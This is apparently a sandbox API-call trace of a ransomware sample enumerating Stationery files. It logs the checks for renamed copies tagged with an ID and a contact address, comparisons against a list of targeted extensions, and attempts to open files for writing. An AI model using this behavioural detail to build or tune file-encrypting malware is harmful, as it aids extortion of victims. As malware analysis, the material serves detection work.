[0212.032] lstrlenW (lpString=".jpg") returned 4 [0212.032] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0212.033] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0212.033] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0212.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0212.035] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2575) returned 1 [0212.035] CloseHandle (hObject=0x288) returned 1 [0212.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0212.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0212.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.038] lstrlenW (lpString=".doc") returned 4 [0212.038] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0212.038] lstrlenW (lpString=".docx") returned 5 [0212.038] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0212.038] lstrlenW (lpString=".pdf") returned 4 [0212.038] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0212.038] lstrlenW (lpString=".xls") returned 4 [0212.039] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0212.040] lstrlenW (lpString=".xlsx") returned 5 [0212.040] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0212.040] lstrlenW (lpString=".ppt") returned 4 [0212.040] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0212.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.040] lstrlenW (lpString=".zip") returned 4 [0212.040] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0212.040] lstrlenW (lpString=".rar") returned 4 [0212.040] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0212.040] lstrlenW (lpString=".bz2") returned 4 [0212.040] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0212.040] lstrlenW (lpString=".7z") returned 3 [0212.041] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0212.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.041] lstrlenW (lpString=".dbf") returned 4 [0212.041] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0212.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.041] lstrlenW (lpString=".1cd") returned 4 [0212.041] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0212.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.041] lstrlenW (lpString=".jpg") returned 4 [0212.042] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0212.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.042] lstrlenW (lpString=".doc") returned 4 [0212.042] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0212.042] lstrlenW (lpString=".docx") returned 5 [0212.042] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0212.042] lstrlenW (lpString=".pdf") returned 4 [0212.043] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0212.043] lstrlenW (lpString=".xls") returned 4 [0212.043] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0212.043] lstrlenW (lpString=".xlsx") returned 5 [0212.043] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0212.043] lstrlenW (lpString=".ppt") returned 4 [0212.043] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0212.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.043] lstrlenW (lpString=".zip") returned 4 [0212.043] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0212.043] lstrlenW (lpString=".rar") returned 4 [0212.043] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0212.044] lstrlenW (lpString=".bz2") returned 4 [0212.044] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0212.044] lstrlenW (lpString=".7z") returned 3 [0212.044] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0212.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.044] lstrlenW (lpString=".dbf") returned 4 [0212.044] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0212.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.044] lstrlenW (lpString=".1cd") returned 4 [0212.045] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0212.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0212.045] lstrlenW (lpString=".jpg") returned 4 [0212.045] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0212.046] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0212.046] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0212.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0212.048] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4587) returned 1 [0212.048] CloseHandle (hObject=0x288) returned 1 [0212.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0212.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0212.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.049] lstrlenW (lpString=".doc") returned 4 [0212.049] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0212.049] lstrlenW (lpString=".docx") returned 5 [0212.049] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0212.050] lstrlenW (lpString=".pdf") returned 4 [0212.051] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0212.051] lstrlenW (lpString=".xls") returned 4 [0212.051] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0212.051] lstrlenW (lpString=".xlsx") returned 5 [0212.051] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0212.051] lstrlenW (lpString=".ppt") returned 4 [0212.051] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0212.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.051] lstrlenW (lpString=".zip") returned 4 [0212.051] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0212.052] lstrlenW (lpString=".rar") returned 4 [0212.052] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0212.052] lstrlenW (lpString=".bz2") returned 4 [0212.052] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0212.052] lstrlenW (lpString=".7z") returned 3 [0212.052] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0212.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.052] lstrlenW (lpString=".dbf") returned 4 [0212.052] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0212.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.052] lstrlenW (lpString=".1cd") returned 4 [0212.052] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0212.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.053] lstrlenW (lpString=".jpg") returned 4 [0212.053] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0212.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.053] lstrlenW (lpString=".doc") returned 4 [0212.053] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0212.053] lstrlenW (lpString=".docx") returned 5 [0212.053] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0212.053] lstrlenW (lpString=".pdf") returned 4 [0212.053] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0212.053] lstrlenW (lpString=".xls") returned 4 [0212.054] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0212.054] lstrlenW (lpString=".xlsx") returned 5 [0212.054] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0212.054] lstrlenW (lpString=".ppt") returned 4 [0212.054] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0212.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.054] lstrlenW (lpString=".zip") returned 4 [0212.054] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0212.054] lstrlenW (lpString=".rar") returned 4 [0212.054] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0212.333] lstrlenW (lpString=".bz2") returned 4 [0212.333] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0212.333] lstrlenW (lpString=".7z") returned 3 [0212.333] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0212.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.333] lstrlenW (lpString=".dbf") returned 4 [0212.334] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0212.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.334] lstrlenW (lpString=".1cd") returned 4 [0212.335] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0212.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0212.335] lstrlenW (lpString=".jpg") returned 4 [0212.335] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0212.336] lstrcmpiW (lpString1=".emf", lpString2=".NEWS") returned -1 [0212.336] lstrlenW (lpString="Genko_2.emf") returned 11 [0212.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0212.341] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10340) returned 1 [0212.342] CloseHandle (hObject=0x378) returned 1 [0212.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0212.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0212.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.343] lstrlenW (lpString=".doc") returned 4 [0212.343] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0212.343] lstrlenW (lpString=".docx") returned 5 [0212.343] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0212.343] lstrlenW (lpString=".pdf") returned 4 [0212.344] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0212.344] lstrlenW (lpString=".xls") returned 4 [0212.344] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0212.344] lstrlenW (lpString=".xlsx") returned 5 [0212.344] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0212.344] lstrlenW (lpString=".ppt") returned 4 [0212.344] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0212.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.344] lstrlenW (lpString=".zip") returned 4 [0212.344] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0212.344] lstrlenW (lpString=".rar") returned 4 [0212.344] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0212.345] lstrlenW (lpString=".bz2") returned 4 [0212.345] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0212.345] lstrlenW (lpString=".7z") returned 3 [0212.345] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0212.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.345] lstrlenW (lpString=".dbf") returned 4 [0212.345] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0212.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.345] lstrlenW (lpString=".1cd") returned 4 [0212.345] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0212.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.346] lstrlenW (lpString=".jpg") returned 4 [0212.346] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0212.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.347] lstrlenW (lpString=".doc") returned 4 [0212.347] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0212.347] lstrlenW (lpString=".docx") returned 5 [0212.347] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0212.347] lstrlenW (lpString=".pdf") returned 4 [0212.347] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0212.347] lstrlenW (lpString=".xls") returned 4 [0212.347] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0212.348] lstrlenW (lpString=".xlsx") returned 5 [0212.349] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0212.349] lstrlenW (lpString=".ppt") returned 4 [0212.349] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0212.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.349] lstrlenW (lpString=".zip") returned 4 [0212.349] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0212.350] lstrlenW (lpString=".rar") returned 4 [0212.350] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0212.350] lstrlenW (lpString=".bz2") returned 4 [0212.350] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0212.350] lstrlenW (lpString=".7z") returned 3 [0212.350] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0212.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.350] lstrlenW (lpString=".dbf") returned 4 [0212.350] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0212.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.350] lstrlenW (lpString=".1cd") returned 4 [0212.351] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0212.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0212.351] lstrlenW (lpString=".jpg") returned 4 [0212.351] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0212.351] lstrcmpiW (lpString1=".emf", lpString2=".NEWS") returned -1 [0212.352] lstrlenW (lpString="Graph.emf") returned 9 [0212.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0212.355] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=116724) returned 1 [0212.355] CloseHandle (hObject=0x378) returned 1 [0212.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0212.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0212.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.357] lstrlenW (lpString=".doc") returned 4 [0212.357] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0212.357] lstrlenW (lpString=".docx") returned 5 [0212.357] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0212.357] lstrlenW (lpString=".pdf") returned 4 [0212.358] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0212.358] lstrlenW (lpString=".xls") returned 4 [0212.358] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0212.358] lstrlenW (lpString=".xlsx") returned 5 [0212.358] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0212.358] lstrlenW (lpString=".ppt") returned 4 [0212.358] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0212.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.358] lstrlenW (lpString=".zip") returned 4 [0212.358] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0212.358] lstrlenW (lpString=".rar") returned 4 [0212.358] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0212.358] lstrlenW (lpString=".bz2") returned 4 [0212.358] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0212.359] lstrlenW (lpString=".7z") returned 3 [0212.359] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0212.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.359] lstrlenW (lpString=".dbf") returned 4 [0212.360] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0212.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.360] lstrlenW (lpString=".1cd") returned 4 [0212.360] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0212.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.361] lstrlenW (lpString=".jpg") returned 4 [0212.361] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0212.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.362] lstrlenW (lpString=".doc") returned 4 [0212.362] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0212.362] lstrlenW (lpString=".docx") returned 5 [0212.362] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0212.362] lstrlenW (lpString=".pdf") returned 4 [0212.362] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0212.362] lstrlenW (lpString=".xls") returned 4 [0212.362] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0212.362] lstrlenW (lpString=".xlsx") returned 5 [0212.363] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0212.363] lstrlenW (lpString=".ppt") returned 4 [0212.363] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0212.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.363] lstrlenW (lpString=".zip") returned 4 [0212.363] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0212.363] lstrlenW (lpString=".rar") returned 4 [0212.363] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0212.363] lstrlenW (lpString=".bz2") returned 4 [0212.364] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0212.364] lstrlenW (lpString=".7z") returned 3 [0212.364] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0212.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.365] lstrlenW (lpString=".dbf") returned 4 [0212.365] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0212.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.365] lstrlenW (lpString=".1cd") returned 4 [0212.365] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0212.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0212.365] lstrlenW (lpString=".jpg") returned 4 [0212.365] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0212.366] lstrcmpiW (lpString1=".htm", lpString2=".NEWS") returned -1 [0212.366] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0212.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0212.369] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=237) returned 1 [0212.369] CloseHandle (hObject=0x378) returned 1 [0212.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0212.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0212.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0212.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0212.372] lstrlenW (lpString=".doc") returned 4 [0212.372] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0212.372] lstrlenW (lpString=".docx") returned 5 [0212.372] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0212.372] lstrlenW (lpString=".pdf") returned 4 [0212.372] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0212.372] lstrlenW (lpString=".xls") returned 4 [0212.372] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0212.373] lstrlenW (lpString=".xlsx") returned 5 [0212.373] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0212.373] lstrlenW (lpString=".ppt") returned 4 [0212.373] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0212.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0212.373] lstrlenW (lpString=".zip") returned 4 [0212.373] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0212.373] lstrlenW (lpString=".rar") returned 4 [0212.373] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0212.373] lstrlenW (lpString=".bz2") returned 4 [0212.373] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0212.373] lstrlenW (lpString=".7z") returned 3 [0212.374] lstrcmpiW 